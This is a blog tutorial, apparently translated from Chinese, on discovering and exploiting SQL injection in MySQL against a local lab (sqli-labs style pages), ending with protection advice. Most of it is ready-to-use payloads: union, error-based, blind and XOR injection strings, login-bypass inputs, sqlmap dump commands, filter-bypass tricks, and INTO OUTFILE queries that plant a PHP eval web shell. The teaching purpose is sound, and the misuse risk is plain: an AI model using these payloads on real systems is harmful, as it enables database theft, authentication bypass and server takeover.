Discovery and exploitation of SQL injection vulnerabilities, and protection against SQL injection

1. Background

SQL injection vulnerability is a common software security problem that occurs in the database layer of an application. The core principle is to treat the data entered by the user as code and execute it, which violates the principle of "separation of data and code". Specifically, the attacker constructs a malicious SQL query statement so that when the application executes the SQL query, the attacker's malicious code is executed as a normal SQL query statement, thereby obtaining sensitive data or damaging the system.
Attackers can use SQL injection vulnerabilities to illegally gain control of the website and even obtain users' sensitive information. Therefore, it is very important to understand the principles, discovery methods and protective measures of SQL injection vulnerabilities.
Next, let’s understand how SQL injection occurs:

2. Principle

Next we take the MySql database as an example. The MySQL database has a special structure called the information_schema database. The information_schema database has the following structure:
information_schema
     tables
         table_schema (database corresponding to the table)
             table_name (all table names)
     columns
         table_schema (database corresponding to the table)
             table_name (all table names)
             column_name (all column names)
     schemata ( Contains the names of all databases)
         schema_name database name

2.1 Let’s take normal SQL as an example

For example: select * from tb where username like “%${name}%”; This is taking MyBatis as an example. When querying the database, the ${} dimension symbol is used to implement SQL statement splicing. At this time, the program input Parameter name = "test" then the splicing in business SQL will be as follows: select * from tb where username like "% test%";
Because ${} is directly used for string replacement and is not There is a way to process user input parameters, and the attacker can construct some malicious code, such as entering name =1%" or 1=1 --+. The spliced ​​SQL will be as follows: select * from tb where username like " %1%” or 1=1 --+%"; In this way, if the SQL statement directly username like “%1%" does not query the value, it will execute where 1=1 and the database will be found. all other values ​​in .
Based on the above principles, we can construct more complex SQL statements to obtain more sensitive data and even further invade the website.

2.2 Analyze the causes of SQL injection

When the web application transmits SQL statements to the backend database for database operations, if the parameters entered by the user are not strictly filtered, the attacker's input will be directly executed by the database engine, obtaining or modifying the data in the database. The data. In addition, if filtering is implemented in the code, but the filtering is not strict, attackers can also guess the database and bypass authentication by controlling parameters and splicing statements.
Next we demonstrate how to discover and exploit SQL injection vulnerabilities

3. Vulnerability discovery and exploitation

SQL injection needs to follow the following steps. First, find the injection point. Second, obtain the database information. Third, obtain the corresponding database table information. Fourth, obtain a specific table information. Fifth, obtain a certain table field information.

3.1 Joint injection

Mainly uses the database field union to execute in conjunction with another SQL, so that normal business SQL execution has no return value, then the union SQL will be executed and echoed,
For example:

id=0' union select 1,2,concat_ws('-',user(),database(),version()) --+ Use union injection to view the database name
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ Now we know that the database is security, and then we need to check what tables this database has
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' --+ Check what columns are in this table
id=0 ' union select 1,(select group_concat(username,password) from users),user() --+ Query the data in a specific table, and then display it by concatenating it into a string

//Pay attention to what to do if a field is a keyword when using a query, which will cause the query to report an error. Use table.column and table name.field name when writing query row data. This can avoid the problem of fields being keywords.

3.2 Error injection

In many cases, web programs do not display error echoes normally, which allows us to use error injection to perform SQL injection. Specifically, attackers construct special SQL statements, insert malicious code, and try to trigger database errors and display error messages. Then, the attacker determines whether the injection is successful based on the error message and obtains sensitive information in the database. It should be noted that the usage scenario of error injection is generally when the page cannot display the database information, but there is error content.

http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database()) ))-- - Query database
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(column_name)) from information_schema.columns where table_name='ctf')))-- - Query table
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1 , concat(0x5c, (select group_concat(flag) from ctf)))-- - Query field
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select substr(group_concat(flag),20,99) from ctf)))-- - Field splicing because the field is too long

3.3 Boolean blind injection

Attackers obtain information in the database by constructing specific SQL statements and judging whether a certain condition is true or false. Make guesses about the content in the data and implement SQL injection without knowing the return value of the database. Boolean-based blind injection means that Web pages will only return True and False. Then Boolean blind injection is to perform SQL injection and then obtain the relevant information in the database based on the True or False returned by the page.

http://192.168.244.100:83/Less-8/?id=1' and (ascii(substr(database(),1,1))>95)-- -
The echo is normal, the first letter of database() ascii is greater than 95
http://192.168.244.100:83/Less-8/?id=1' and (ascii (substr(database(),1,1))>120)-- -
The echo is abnormal, the first letter of database() ascii is less than 120

3.4 Time blind injection

This attack method determines whether there is an injection based on the response time of the page. Specifically, when there is a delayed response on the page and the response time is consistent with the set time function, it means that the first half of the guess is correct. If a query directly returns the result and there is no delay in the page response, it means that the time function has not been executed. part

http://192.168.244.100:83/Less-9/?id=1' and if(ascii(substr(database(),1,1))>99,1,sleep(3) )-- -
The page responds without lag, the first letter of database() ascii is greater than 99
http://192.168.244.100:83/Less- 9/?id=1' and if(ascii(substr(database(),1,1))>120,1,sleep(3))-- -
The page response is stuck 3 seconds, the first letter of database() ascii is less than 120

3.5 Directly write to php Trojan file

Write files to the specified path through SQL statements

http://192.168.244.100:83/Less-1/?id=1' union select 1,'<?php eval($_POST[1]);phpinfo();?>',3 into outfile ' /var/www/html/upload/kkk.php'-- - Download kkk.php to a specified path. The content is a one-sentence Trojan of PHP.

password=123&username=1'union%0bselect%0b'<?=eval($_POST[1]);?>',1%0binto%0boutfile%0b'/var/www/html/x.php '%23 is also a one-sentence Trojan that writes PHP to the specified directory.

This makes it possible to use Chinese Ant Sword to connect and thus control the purpose of the server.

3. 6 universal passwords

When you know the username but not the password, construct an SQL statement to block subsequent SQL statements for password verification.

http://192.168.244.100:83/Less-11/
Username: admin' or 1#
Password: Enter whatever you want< /span>
After logging in, scroll down the page to see SuccessFully

3.7 UA header &Cookie injection

UA header injection
http://192.168.244.100:83/Less-18/
Enable packet capture
Username: admin
Password: admin
Login
Change the UA header part in the package body, single quotes display error
Then change and close the UA header
1',1,updatexml(1,concat(0x3a,(select database())),1)||' 1'='1
can achieve the effect of error injection

3.9 Cookie injection

http://192.168.244.100:83/Less-20/
Username: admin
Password: admin
Log in
Enable packet capture and refresh the interface
Change the Cookie part in the package body, single quotes will display an error
Replace the Cookie part with
uname=admin' and updatexml(1,concat(0x3a,(select database())),1)||'1'='1
can achieve the effect of error injection

3.10 XOR injection

The rule of XOR operation is: if two conditions are the same (same true or false), it is false (0), and if two conditions are different, it is true (1). At the same time, the result of the XOR operation with a null value (null) and any condition is null. Therefore, during the SQL injection process, by applying XOR logic, we can change the original SQL query statement so that the keywords that were originally filtered or blocked can be executed.

http://192.168.244.100:83/Less-yh/?id=1^(length(database())>0)-- -
http:/ /192.168.244.100:83/Less-yh/?id=1^(length(database())>999)-- -
XOR injection 1^ 0 = 1 1^1 =0 When the following statement is correct, there is no echo. When the following statement is incorrect, there is an echo.

3.11 Secondary injection

It depends on knowing the user name. When re-registering the user, the user name is designed so that the new user login can be associated with the original user without requiring the password of the original account.

There is a user LTLT password 123
We register a LTLT'# password qwe
When we log in to LTLT'#, change the password to kkk< /span>
Then you will find that the password of LTLT has been changed to kkk

3.12 Virtual table login

The original database does not have this information. We constructed a virtual user data ourselves to ensure that the query can return results normally.

http://192.168.244.100:83/Less-xb/xb.php
Username: xxx' union select 1,'admin_LTLT','qwe'-- -
Password: qwe
Principle: Construct a virtual table and set the password column to our custom string

3.13 No column name injection

http://192.168.244.100:83/Less-1/?id=1' and 0 union select 1,group_concat(2),3 from (select 1,2 union select * from ctf)a-- -
When we don’t know the column names, we construct a new table and table header through the union table method, and then add our customized column names Check it out through other methods

3.14 Injection using sqlmap

#Get all database information
python sqlmap.py -u “url” --dbms=mysql --dbs --batch
#Get Table information under the security database
python sqlmap.py -u “url” --dbms=mysql -D “security” --tables --batch
# Get column information under the users table in the security database
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --batch python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” -C “id,username,password” --dump -- batch python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --columns --batch
#Get field information under the users table

#If it is a POST request
1. Use the “–data” parameter
python sqlmap.py -u “url” --data “ id=1” --dbs --batch
2. Save the http request data, and then use the "-r" parameter to perform an injection attack. Pay attention to the post_data.txt inside. It is the information submitted to the server obtained through bp
python sqlmap.py -r post_data.txt --dbs --batch

3.15 Summary of bypass methods

绕过空格: // select//xxx//from//yyy//where//ddd=eee
    括号 select(xxx)from(yyy)where(ddd=eee)

Bypass the equal sign: you can use like regexp

Bypass comment characters: ||or’0 to close the following single quote

Bypass commas in limit 0,1: limit 1 offset 1

Bypass ascii: ord

Bypass substr: mid left right

4. Vulnerability protection methods

In order to prevent error injection attacks, the following methods are provided:
1. Use PreparedStatement: PreparedStatement can effectively avoid SQL injection problems. When the database is processing a SQL command, it can The variables are substituted into the instruction set and actual execution begins, avoiding the repeated process of parsing SQL.
2. Use stored procedures: Stored procedures can also prevent SQL injection. Since stored procedures encapsulate queries and data operations together, it reduces the possibility of unverified user input directly forming SQL commands. sex.
3. Verify user input: This is the most basic and important method to prevent SQL injection. Developers need to ensure that all input received from users is rigorously validated and filtered to prevent the execution of malicious code.
4. Use ORM frameworks: Object-relational mapping (ORM) frameworks such as Hibernate and MyBatis can help developers better manage database operations and reduce security risks caused by incorrect use of SQL statements. question.
5. Use parameterized queries: Parameterized queries can effectively prevent SQL injection attacks because it processes queries and data separately, thus preventing malicious user input from being parsed into SQL code.
6. Limit database permissions: Setting the principle of least permissions for database accounts can reduce potential damage. For example, give an application account only the minimum permissions required to perform its tasks.
7. Regularly update and patch the system: This can help to fix known security vulnerabilities in a timely manner to avoid being exploited by attackers.

5. Summary

The existence of SQL injection vulnerabilities will cause serious harm to the system and even the entire server. There are many ways to exploit SQL injection vulnerabilities. During the development process of the program, zero-trust user input is strictly restricted, and the use of commercially available methods on the market is adopted. Mature framework and mature method (parameterized query) for parsing SQL statements. Attack and defense methods are still evolving. If you have any questions, insights, or latest attack methods on SQL injection, please leave a message in the comment area.

Guess you like

Origin blog.csdn.net/Scalzdp/article/details/134546077